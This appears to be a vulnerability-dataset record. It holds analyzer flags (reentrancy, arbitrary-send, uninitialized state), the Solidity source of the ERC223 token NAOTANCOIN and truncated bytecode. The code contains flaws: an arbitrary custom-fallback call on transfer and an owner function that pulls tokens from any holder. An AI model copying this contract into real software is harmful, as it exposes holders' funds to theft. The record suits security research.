{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
95
0x8edbc572144ddce43f6bece96688879336aa8b7d
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization * control functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the * sender account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC223 { uint public totalSupply; // ERC223 and ERC20 functions and events function balanceOf(address who) public view returns (uint); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); // ERC223 functions function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); // ERC20 functions and events function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } /** * @title ContractReceiver * @dev Contract that is working with ERC223 tokens */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* * tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function if data of token transaction is a function execution */ } } contract NOTNCoin is ERC223, Ownable { using SafeMath for uint256; string public name = "NAOTANCOIN"; string public symbol = "NOTN"; uint8 public decimals = 8; uint256 public totalSupply = 123e8 * 1e8; uint256 public distributeAmount = 0; bool public mintingFinished = false; address public founder = 0x9Da9874008d157d8e93DF7639a46b667c65DaadB; address public Sleep = 0x32F7b01EAc87fD4cDd1c3F2Cb0dCeB409B0d9638; mapping(address => uint256) public balanceOf; mapping(address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed from, uint256 amount); event Mint(address indexed to, uint256 amount); event MintFinished(); /** * @dev Constructor is called only once and can not be called again */ function NOTNCoin() public { balanceOf[founder] = totalSupply.mul(90).div(100); balanceOf[Sleep] = totalSupply.mul(10).div(100); } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOf[_owner]; } function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public { require(targets.length > 0); for (uint j = 0; j < targets.length; j++) { require(targets[j] != 0x0); frozenAccount[targets[j]] = isFrozen; FrozenFunds(targets[j], isFrozen); } } function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint j = 0; j < targets.length; j++){ require(unlockUnixTime[targets[j]] < unixTimes[j]); unlockUnixTime[targets[j]] = unixTimes[j]; LockedFunds(targets[j], unixTimes[j]); } } /** * @dev Function that is called when a user or another contract wants to transfer funds */ function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } /** * @dev Standard function transfer similar to ERC20 transfer with no _data * Added due to backwards compatibility reasons */ function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } // function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * Added due to backwards compatibility with ERC20 * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0) && _value > 0 && balanceOf[_from] >= _value && allowance[_from][msg.sender] >= _value && frozenAccount[_from] == false && frozenAccount[_to] == false && now > unlockUnixTime[_from] && now > unlockUnixTime[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Allows _spender to spend no more than _value tokens in your behalf * Added due to backwards compatibility with ERC20 * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender * Added due to backwards compatibility with ERC20 * @param _owner address The address which owns the funds * @param _spender address The address which will spend the funds */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowance[_owner][_spender]; } /** * @dev Burns a specific amount of tokens. * @param _from The address that will burn the tokens. * @param _unitAmount The amount of token to be burned. */ function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf[_from] >= _unitAmount); balanceOf[_from] = balanceOf[_from].sub(_unitAmount); totalSupply = totalSupply.sub(_unitAmount); Burn(_from, _unitAmount); } modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _unitAmount The amount of tokens to mint. */ function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = totalSupply.add(_unitAmount); balanceOf[_to] = balanceOf[_to].add(_unitAmount); Mint(_to, _unitAmount); Transfer(address(0), _to, _unitAmount); return true; } /** * @dev Function to stop minting new tokens. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } /** * @dev Function to distribute tokens to the list of addresses by the provided amount */ function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0 && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); amount = amount.mul(1e8); uint256 totalAmount = amount.mul(addresses.length); require(balanceOf[msg.sender] >= totalAmount); for (uint j = 0; j < addresses.length; j++) { require(addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount); Transfer(msg.sender, addresses[j], amount); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); uint256 totalAmount = 0; for(uint j = 0; j < addresses.length; j++){ require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); totalAmount = totalAmount.add(amounts[j]); } require(balanceOf[msg.sender] >= totalAmount); for (j = 0; j < addresses.length; j++) { balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]); Transfer(msg.sender, addresses[j], amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } /** * @dev Function to collect tokens from the list of addresses */ function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint j = 0; j < addresses.length; j++) { require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); require(balanceOf[addresses[j]] >= amounts[j]); balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]); totalAmount = totalAmount.add(amounts[j]); Transfer(addresses[j], msg.sender, amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount); return true; } function setDistributeAmount(uint256 _unitAmount) onlyOwner public { distributeAmount = _unitAmount; } /** * @dev Function to distribute tokens to the msg.sender automatically * If distributeAmount is 0, this function doesn't work */ }
0x60806040526004361061016a576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461016f57806306fdde031461019e578063095ea7b31461022e57806318160ddd1461029357806323b872dd146102be578063313ce5671461034357806340c10f19146103745780634d853ee5146103d95780634f25eced14610430578063624ecda91461045b57806364ddc605146104b257806370a082311461055b5780637d64bcb4146105b25780638da5cb5b146105e1578063945946251461063857806395d89b41146106c05780639dc29fac14610750578063a9059cbb1461079d578063b414d4b614610802578063be45fd621461085d578063c341b9f614610908578063cbbe974b1461097a578063d39b1d48146109d1578063dd62ed3e146109fe578063dd92459414610a75578063f0dc417114610b36578063f2fde38b14610bf7578063f6368f8a14610c3a575b600080fd5b34801561017b57600080fd5b50610184610d2b565b604051808215151515815260200191505060405180910390f35b3480156101aa57600080fd5b506101b3610d3e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101f35780820151818401526020810190506101d8565b50505050905090810190601f1680156102205780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023a57600080fd5b50610279600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610de0565b604051808215151515815260200191505060405180910390f35b34801561029f57600080fd5b506102a8610ed2565b6040518082815260200191505060405180910390f35b3480156102ca57600080fd5b50610329600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610edc565b604051808215151515815260200191505060405180910390f35b34801561034f57600080fd5b506103586113ed565b604051808260ff1660ff16815260200191505060405180910390f35b34801561038057600080fd5b506103bf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611404565b604051808215151515815260200191505060405180910390f35b3480156103e557600080fd5b506103ee6115fb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561043c57600080fd5b50610445611621565b6040518082815260200191505060405180910390f35b34801561046757600080fd5b50610470611627565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104be57600080fd5b50610559600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929050505061164d565b005b34801561056757600080fd5b5061059c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611851565b6040518082815260200191505060405180910390f35b3480156105be57600080fd5b506105c761189a565b604051808215151515815260200191505060405180910390f35b3480156105ed57600080fd5b506105f6611962565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561064457600080fd5b506106a66004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190929190505050611988565b604051808215151515815260200191505060405180910390f35b3480156106cc57600080fd5b506106d5611dd7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107155780820151818401526020810190506106fa565b50505050905090810190601f1680156107425780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561075c57600080fd5b5061079b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611e79565b005b3480156107a957600080fd5b506107e8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612031565b604051808215151515815260200191505060405180910390f35b34801561080e57600080fd5b50610843600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121c5565b604051808215151515815260200191505060405180910390f35b34801561086957600080fd5b506108ee600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506121e5565b604051808215151515815260200191505060405180910390f35b34801561091457600080fd5b5061097860048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803515159060200190929190505050612376565b005b34801561098657600080fd5b506109bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612518565b6040518082815260200191505060405180910390f35b3480156109dd57600080fd5b506109fc60048036038101908080359060200190929190505050612530565b005b348015610a0a57600080fd5b50610a5f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612596565b6040518082815260200191505060405180910390f35b348015610a8157600080fd5b50610b1c600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929050505061261d565b604051808215151515815260200191505060405180910390f35b348015610b4257600080fd5b50610bdd6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050612b24565b604051808215151515815260200191505060405180910390f35b348015610c0357600080fd5b50610c38600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ff5565b005b348015610c4657600080fd5b50610d11600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061314d565b604051808215151515815260200191505060405180910390f35b600760009054906101000a900460ff1681565b606060028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610dd65780601f10610dab57610100808354040283529160200191610dd6565b820191906000526020600020905b815481529060010190602001808311610db957829003601f168201915b5050505050905090565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600554905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610f1a5750600082115b8015610f65575081600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015610fed575081600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015611049575060001515600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156110a5575060001515600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156110ef5750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b80156111395750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561114457600080fd5b61119682600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136f890919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061122b82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461371190919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112fd82600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136f890919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000600460009054906101000a900460ff16905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561146257600080fd5b600760009054906101000a900460ff1615151561147e57600080fd5b60008211151561148d57600080fd5b6114a28260055461371190919063ffffffff16565b6005819055506114fa82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461371190919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116ab57600080fd5b600083511180156116bd575081518351145b15156116c857600080fd5b600090505b825181101561184c5781818151811015156116e457fe5b90602001906020020151600c6000858481518110151561170057fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151561175157600080fd5b818181518110151561175f57fe5b90602001906020020151600c6000858481518110151561177b57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082818151811015156117d157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110151561182057fe5b906020019060200201516040518082815260200191505060405180910390a280806001019150506116cd565b505050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118f857600080fd5b600760009054906101000a900460ff1615151561191457600080fd5b6001600760006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000808411801561199d575060008551115b80156119f9575060001515600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611a435750600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515611a4e57600080fd5b611a656305f5e1008561372f90919063ffffffff16565b9350611a7b85518561372f90919063ffffffff16565b915081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611acb57600080fd5b600090505b8451811015611d365760008582815181101515611ae957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614158015611b7e575060001515600b60008784815181101515611b2857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611bdf5750600c60008683815181101515611b9757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515611bea57600080fd5b611c5384600960008885815181101515611c0057fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461371190919063ffffffff16565b600960008784815181101515611c6557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508481815181101515611cbb57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a38080600101915050611ad0565b611d8882600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136f890919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b606060038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611e6f5780601f10611e4457610100808354040283529160200191611e6f565b820191906000526020600020905b815481529060010190602001808311611e5257829003601f168201915b5050505050905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ed557600080fd5b600081118015611f24575080600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b1515611f2f57600080fd5b611f8181600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136f890919063ffffffff16565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd9816005546136f890919063ffffffff16565b6005819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b60006060600083118015612095575060001515600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156120f1575060001515600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b801561213b5750600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b80156121855750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561219057600080fd5b6121998461376a565b156121b0576121a984848361377d565b91506121be565b6121bb848483613b5c565b91505b5092915050565b600b6020528060005260406000206000915054906101000a900460ff1681565b60008083118015612246575060001515600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156122a2575060001515600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156122ec5750600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b80156123365750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561234157600080fd5b61234a8461376a565b156123615761235a84848461377d565b905061236f565b61236c848484613b5c565b90505b9392505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156123d457600080fd5b600083511115156123e457600080fd5b600090505b8251811015612513576000838281518110151561240257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff161415151561242f57600080fd5b81600b6000858481518110151561244257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555082818151811015156124ab57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051808215151515815260200191505060405180910390a280806001019150506123e9565b505050565b600c6020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561258c57600080fd5b8060068190555050565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806000808551118015612633575083518551145b801561268f575060001515600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156126d95750600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b15156126e457600080fd5b60009150600090505b84518110156128ad576000848281518110151561270657fe5b9060200190602002015111801561274b57506000858281518110151561272857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614155b80156127be575060001515600b6000878481518110151561276857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b801561281f5750600c600086838151811015156127d757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561282a57600080fd5b6128586305f5e100858381518110151561284057fe5b9060200190602002015161372f90919063ffffffff16565b848281518110151561286657fe5b906020019060200201818152505061289e848281518110151561288557fe5b906020019060200201518361371190919063ffffffff16565b915080806001019150506126ed565b81600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156128fb57600080fd5b600090505b8451811015612a8357612989848281518110151561291a57fe5b90602001906020020